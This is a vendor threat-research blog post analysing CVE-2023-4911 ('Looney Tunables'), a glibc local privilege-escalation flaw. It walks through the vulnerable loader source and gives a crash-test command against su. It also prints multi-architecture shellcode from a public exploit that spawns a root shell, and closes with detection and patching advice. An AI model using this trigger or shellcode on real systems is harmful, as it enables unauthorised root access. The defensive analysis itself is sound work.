Coauthored by Arpit Kataria of Uptycs Threat Research Team A significant new vulnerability (CVE-2023-4911), also known as the "Looney Tunables" exploit, has been identified in a wide range of Linux systems. The flaw resides in the GLIBC_TUNABLES feature of the GNU C Library (GLIBC), a standard setting that allows users to customize runtime behaviors in Linux. Unfortunately, this feature is susceptible to manipulation through poorly formed input, potentially granting attackers unauthorized elevated system privileges. Immediate attention and remediation are required to secure affected systems and prevent exploitation. The consequences of this exploit range from potential data breaches to a total system takeover, especially in systems running unpatched versions of glibc. When it comes to the security of a computer system, the importance of the GNU C Library, often referred to as glibc, cannot be overstated. Glibc serves as the cornerstone of the Linux operating system, responsible for providing fundamental functions and system calls that enable applications to run smoothly. However, its critical role also makes it an enticing target for security researchers and attackers alike. Over the years, numerous vulnerabilities have been discovered in glibc, some with significant consequences for system security. Dynamic loader is a fundamental component of the glibc library and other similar libraries on Unix-like operating systems. The dynamic loader is responsible for finding, loading, and initializing shared objects or shared libraries needed by a program when it is executed. These shared libraries contain code and data that multiple programs can use simultaneously, helping to optimize memory usage and promote code reuse. The dynamic loader's primary role is to locate the shared libraries required by a program, set up the program's execution environment, and then execute the program. The dynamic loader is of extreme security importance. It operates with elevated privileges in certain scenarios, specifically when a local user executes programs with special privileges. These scenarios include running set-user-ID (setuid) programs, set-group-ID (setgid) programs, or programs with Linux capabilities. The tunable exploit in glibc, often referred to as the "Looney tunables" vulnerability identified as CVE-2023-4911, is a local privilege escalation issue that affects various Linux distributions, including Fedora, Ubuntu, Debian, and more. An exception is alpine because it uses musl libc, not glibc. This exploit leverages a weakness in the dynamic loader through the GLIBC_TUNABLES environment variable. A "tunable" in glibc is a mechanism that allows you to modify the library's behavior without recompilation, making it useful for debugging and fine-tuning purposes. When you run a program in Linux, especially one that relies on shared libraries, like .so files, the operating system has to bring in these libraries and connect them to your program. This way, your program can use functions from these shared libraries while it's running. This process is taken care of by a special program called "ld.so," which is usually part of the glibc library. Every program in Linux has a part called ".interp," which tells the operating system where to find the specific ld.so it needs. This ensures that the right loader is used for each program. When you compile a program, you can tell ld.so (the library loader) to search in specific places for libraries. These locations are then saved in your program's ELF file. When you run your program, ld.so will check these locations first, giving you the ability to choose where it looks for libraries, instead of relying on the default paths. To leverage this vulnerability, attackers can manipulate the way programs locate shared libraries. They can craft a program to specify an alternate path, pointing to a tampered shared library loaded with malicious code aiming to escalate privileges. While the loader typically conducts thorough checks to sanitize such operations, there exists a loophole in its process that it doesn't address, and this oversight is what attackers target. Let’s analyze the vulnerable code: 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) 283 { 284 char *new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); 287 /* Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 } This code is responsible for processing the GLIBC_TUNABLES environment variable, which enables developers to adjust the behavior of runtime libraries dynamically. The primary purpose of this code is to extract and interpret the tunable settings specified in GLIBC_TUNABLES, ensuring that they won't introduce security vulnerabilities or unexpected behaviors. We can see in line 282, the code scans through the environment variables to find any variables named “GLIBC_TUNABLES”. When it finds one, it takes the content of that variable and places it in a new variable called new_env. Later, at line 286, a method named parse_tunables is invoked to clean and prepare the data within new_env. This environment variable is essential because it provides developers with a way to fine-tune the behavior of the GLIBC libraries based on their application's specific requirements. Let’s look at parse_tunables method: 162 static void The function parse_tunables() comes into play to dissect the GLIBC_TUNABLES content. It's responsible for breaking down the GLIBC_TUNABLES into individual name-value pairs, primarily by looking for equal signs (=) and colons (:) in the copied data. Importantly, the code is security-conscious. It spots and removes potentially risky tunables tagged as SXID_ERASE, which could command GLIBC to tinker with security attributes or permissions, possibly jeopardizing system safety. A crucial issue arises when GLIBC_TUNABLES holds unexpected input, like "tunable1=tunable2=AAA." Here's the problem: the code doesn't handle this kind of malformed input. Instead of rejecting it, it mistakenly treats the entire input as a valid setting. This hiccup occurs when the tunables are of type SXID_IGNORE, which should be left untouched. During the first loop run, the entire "tunable1=tunable2=AAA" is crammed into tunestr, going beyond its allocated space. This overflow might lead to unpredictable outcomes or security concerns. Before we get technical let’s see the POC we can execute to determine whether or not our system is vulnerable. env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help Figure 1 - Proof-of-concept command to check if the system is vulnerable or not If we get output as “Segmentation fault (core dumped)” that means our system is vulnerable. Otherwise, it will open the help menu. Now let’s look at the exploit shared by blasty and reverse engineer the exploit. Here an important point to note is before executing code from an untrusted source, we should look at the code to see if there is any malicious code or not. If we are not able to identify, we should always execute in a sandbox environment. Upon analyzing the exploit code, we observed that it searches for "libc.so.6". Once found, it modifies this file to incorporate a malicious shellcode. Subsequently, the exploit creates a new directory and copies the tampered file into it. When the program runs, it references this modified file. ARCH = { Let’s analyze the shell code of x86_64. We are using the below python script and opening the output in Ghidra. shellcode = "6a665f6a3c580f05" # This is the exit code with open("shellcode_analyze.out", "wb") as f: f.write(bytes.fromhex(shellcode)) Figure 2 - Decompiled view of the shellcode Here we can see that whenever SYSCALL is made it will return “60,” which is the exit code. Refer to Linux System Call Tables. Now let’s analyze the malicious shellcode i.e. "6a6b580f0589c789c289c66a75580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05" Figure 3 - Detailed decompiled view of the shellcode When we run our Python script on this and open the output in Ghidra we observe there are 3 SYSCALLS made with code 107, 117, 59. 107 stands for getting effective user_id, 117 stands for setting user_id, and 59 stands for sys_execve which is used to execute programs. Basically, it goes by the file owner: as long as the file owner is root it will escalate the privileges. Let’s execute the exploit and see if we get the shell with elevated privileges. Figure 4 - Exploitation of the vulnerability We get the shell with elevated privileges, but we observe one more thing in the /var/log/kern.log, There are a lot of segfault errors which indicate it is a local account brute force and this exploit actually triggered that, so it is a noisy exploit. Figure 5 - Segfault Storm in /var/log/kern.log Should your system have a vulnerable version of glibc, Uptycs XDR offers robust vulnerability scanning features for timely detection. Uptycs XDR stores vulnerability scan results in a dedicated table, accessible via SQL queries, as shown below: select cve_list, package_name, package_version, cvss_score, os from vulnerabilities where cve_list = 'CVE-2023-4911' Figure 6 - Detection of the vulnerability in Uptycs XDR To address this vulnerability, it is crucial to update the glibc library to the latest version available. This update will contain patches and security enhancements to mitigate the "Looney tunables" vulnerability. In conclusion, CVE-2023-4911 is a serious local privilege escalation vulnerability, and its exploitation could lead to severe security breaches. System administrators and users should be aware of this issue and take necessary measures to patch their systems and safeguard against potential attacks. Additionally, monitoring system logs for any unusual activities, such as segfault errors, is crucial in identifying and responding to attempts to exploit this vulnerability. Security implications of glibc's "Looney tunables" exploit
Technical details
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }Exploitation
"i686": {
"shellcode": unhex(
"6a3158cd8089c36a465889d9cd80"
+ "6a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a0b58cd80"
),
"exitcode": unhex("6a665b6a0158cd80"),
"stack_top": 0xC0000000,
"stack_aslr_bits": 23,
},
"x86_64": {
"shellcode": unhex(
"6a6b580f0589c789c289c66a75580f05"
+ "6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
),
"exitcode": unhex("6a665f6a3c580f05"),
"stack_top": 0x800000000000,
"stack_aslr_bits": 34,
},
"aarch64": {
"shellcode": unhex(
"e81580d2010000d4e10300aae20300aa681280d2010000d4"
+ "ee458cd22ecdadf2eee5c5f2ee65eef20f0d80d2ee3fbfa9e0030091e1031faae2031faaa81b80d2010000d4"
),
"exitcode": unhex("c00c80d2a80b80d2010000d4"),
"stack_top": 0x1000000000000,
"stack_aslr_bits": 30,
},
}Detection through Uptycs XDR
Conclusion